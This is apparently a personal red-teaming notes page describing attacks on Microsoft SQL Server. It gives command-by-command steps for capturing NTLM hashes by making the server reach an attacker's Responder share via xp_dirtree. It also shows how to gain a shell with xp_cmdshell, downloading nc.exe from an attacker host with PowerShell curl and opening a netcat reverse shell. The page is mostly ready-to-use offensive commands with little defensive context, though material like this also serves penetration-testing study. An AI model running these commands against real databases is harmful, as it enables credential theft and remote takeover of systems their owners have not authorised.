> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/red-teaming/attack-vectors/microsoft-sql-server.md).

# Microsoft SQL Server

***

### Capturing NTLM hashes

**Pre-requesties**

* Having access to the server.
* Downloading -> [**Responder.py**](https://github.com/SpiderLabs/Responder) (Intsalled by default in Kali)

1. Running Responder.

```bash
sudo responder -I tun0 
```

2. Starting an HTTPServer.

```bash
sudo python3 -m http.server 80
```

3. Listing a fake share to trigger the protocol.

```bash
xp_dirtree "\\<ATTACKER-IP>\meow"
```

4. Check Responder and take the hash and decrypt it.

### Gaining a shell

1. Log in using impacket-mssqlclient

```bash
impacket-mssqlclient <DOMAIN>/<USER>:<PASSWORD>@<IP>
```

2. You can execute commands on MSSQL server using:

```bash
EXEC xp_cmdshell '<COMMAND>'
```

3. Then you can upload a `nc.exe`:

```bash
EXEC xp_cmdshell 'powershell -c curl http://<ATTACKER-IP>/nc.exe -o <PATH>'
```

4. Trigger it:

```bash
EXEC xp_cmdshell '<PATH>/nc.exe -e cmd <ATTACKER-IP> <PORT>'
```

> **Good tools:** Microsoft SQL Database Attacking Tool -> [Msdat](https://github.com/quentinhardy/msdat) [Mssql.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) (Make sure to run with python3 and specify the username without the domain)

## Further reading

* Four Parts -> [Netspi](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* Cheatsheet -> [Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server)


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